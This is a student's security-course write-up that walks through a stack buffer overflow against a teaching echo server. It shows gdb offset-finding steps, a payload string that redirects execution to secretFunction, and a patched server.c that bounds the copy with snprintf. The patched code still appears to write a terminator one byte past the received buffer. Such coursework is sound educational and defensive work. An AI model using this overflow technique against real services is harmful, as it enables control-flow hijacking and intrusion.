ECE 404 Assignment 10

Elias Talcott

April 9, 2020

Contents

1 Buffer Overflow Attack

In order to craft a string to execute a buffer overflow attack on the server, I used gdb. I set a breakpoint at the top of the clientComm function, ran the server, and then executed the following commands.

- (gdb) print &str
- $1 = (char (*)[5]) 0x7fffffffde70
- (gdb) print /x *((unsigned *) $rbp + 2)
- $2 = 0x400cd9
- (gdb) x/96b $rsp

-
  ```
  0x7fffffffde50: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
  0x7fffffffde58: 0xb8 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
  0x7fffffffde60: 0xe0 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
  0x7fffffffde68: 0x00 0x00 0x00 0x00 0x08 0x00 0x00 0x00
  0x7fffffffde70: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
  0x7fffffffde78: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
  0x7fffffffde80: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
  0x7fffffffde88: 0x50 0xe1 0xff 0xf7 0xff 0x7f 0x00 0x00
  0x7fffffffde90: 0xf0 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
  0x7fffffffde98: 0xd9 0x0c 0x40 0x00 0x00 0x00 0x00 0x00
  0x7fffffffdea0: 0xd8 0xdf 0xff 0xff 0xff 0x7f 0x00 0x00
  0x7fffffffdea8: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00
  ```

Looking at the last output, I found the value 0x400cd9 at the start of the line 0x7fffffffde98. Since the beginning of the buffer is at 0x7fffffffde70, there is a difference of 0x28 to fill between the beginning of the buffer and the start of the return address. This means that 40 characters need to be placed in the buffer before the return address can be altered.

- (gdb) disas secretFunction

-
  ```
  Dump of assembler code for function secretFunction:
  0x0000000000400e18 < +0 >: push %rbp
  0x0000000000400e19 < +1 >: mov %rsp,%rbp
  0x0000000000400e1c < +4 >: mov $0x400fa8,%edi
  0x0000000000400e21 < +9 >: callq 0x4008f0 ¡puts@plt¿
  0x0000000000400e26 < +14 >: mov $0x1,%edi
  0x0000000000400e2b < +19 >: callq 0x400a00 ¡exit@plt¿
  End of assembler dump.
  ```

This result showed me that the altered return address should be 0x400e18, which would have to be inputted backwards. All of this helped me create a string that would call the secretFunction:

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x18\x0e\x40\x00
```

2 Modified Server Code

In order to fix the buffer overflow vulnerability, I allowed only MAX_DATA_SIZE bytes to be copied into str. This means that if the user inputs a long string, only the characters that will fit without overwriting other data will be stored in str. This eliminates the risk of overwriting the return address and launching a buffer overflow attack on this server.

```c
/*
/ file : server.c
/-------------------------------------------
/ This is a server socket program that echos recieved messages
/ from the client.c program.  Run the server on one of the ECN
/ machines and the client on your laptop.
*/

// For compiling this file:
//        Linux:               gcc server.c -o server
//        Solaris:             gcc server.c -o server -lsocket

// For running the server program:
//
//                  server 9000
//
// where 9000 is the port you want your server to monitor.  Of course,
// this can be any high-numbered that is not currently being used by
   others.

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <unistd.h>

#define MAX_PENDING 10      /* maximun # of pending for connection */
#define MAX_DATA_SIZE 5

int DataPrint(char *recvBuff, int numBytes);
char* clientComm(int clntSockfd,int * senderBuffSize_addr, int *
   optlen_addr);

int main(int argc, char *argv[])
```

```
{
    if (argc < 2) {
    fprintf(stderr,"ERROR, no port provided\n");
    exit(1);
    }
    int PORT = atoi(argv[1]);



    int senderBuffSize;
    int servSockfd, clntSockfd;
    struct sockaddr_in sevrAddr;
    struct sockaddr_in clntAddr;
    int clntLen;
    socklen_t optlen = sizeof senderBuffSize;

    /* make socket */
    if ((servSockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        perror("sock failed");
        exit(1);
    }

    /* set IP address and port */
    sevrAddr.sin_family = AF_INET;
    sevrAddr.sin_port = htons(PORT);
    sevrAddr.sin_addr.s_addr = INADDR_ANY;
    bzero(&(sevrAddr.sin_zero), 8);

    if (bind(servSockfd, (struct sockaddr *)&sevrAddr,
                sizeof(struct sockaddr)) == -1) {
        perror("bind failed");
        exit(1);
    }

    if (listen(servSockfd, MAX_PENDING) == -1) {
        perror("listen failed");
        exit(1);
    }

    while(1) {
        clntLen = sizeof(struct sockaddr_in);
        if ((clntSockfd = accept(servSockfd, (struct sockaddr *) &
           clntAddr, &clntLen)) == -1) {
            perror("accept failed");
            exit(1);
        }

        printf("Connected from %s\n", inet_ntoa(clntAddr.sin_addr));
```

```
            if (send(clntSockfd, "Connected!!!\n", strlen("Connected!!!\n")
                , 0) == -1) {
                 perror("send failed");
                 close(clntSockfd);
                 exit(1);
            }

            /* repeat for one client service */
            while(1) {
                free(clientComm(clntSockfd, &senderBuffSize, &optlen));
            }

            close(clntSockfd);
            exit(1);
        }
}

char * clientComm(int clntSockfd,int * senderBuffSize_addr, int *
    optlen_addr){
     char *recvBuff; /* recv data buffer */
     int numBytes = 0;
     char str[MAX_DATA_SIZE];
     /* recv data from the client */
     getsockopt(clntSockfd, SOL_SOCKET,SO_SNDBUF, senderBuffSize_addr,
        optlen_addr); /* check sender buffer size */
     recvBuff = malloc((*senderBuffSize_addr) * sizeof (char));

     if ((numBytes = recv(clntSockfd, recvBuff, *senderBuffSize_addr, 0)
        ) == -1) {
         perror("recv failed");
         exit(1);
     }

     recvBuff[numBytes] = '\0';
     if(DataPrint(recvBuff, numBytes)){
         fprintf(stderr,"ERROR, no way to print out\n");
         exit(1);
     }

     /* Only copy first MAX_DATA_SIZE bytes from recvBuff into str
     This prevents writing over any memory that is not allocated
     specifically for this string */
     snprintf(str, MAX_DATA_SIZE, "%s\0", recvBuff);

     /* send data to the client */
     if (send(clntSockfd, str, strlen(str), 0) == -1) {
         perror("send failed");
        close(clntSockfd);
        exit(1);
    }


    return recvBuff;
}

void secretFunction(){
    printf("You weren't supposed to get here!\n");
    exit(1);
}

int DataPrint(char *recvBuff, int numBytes) {
    printf("RECEIVED: %s", recvBuff);
    printf("RECEIVED BYTES: %d\n\n", numBytes);
    return(0);
}
```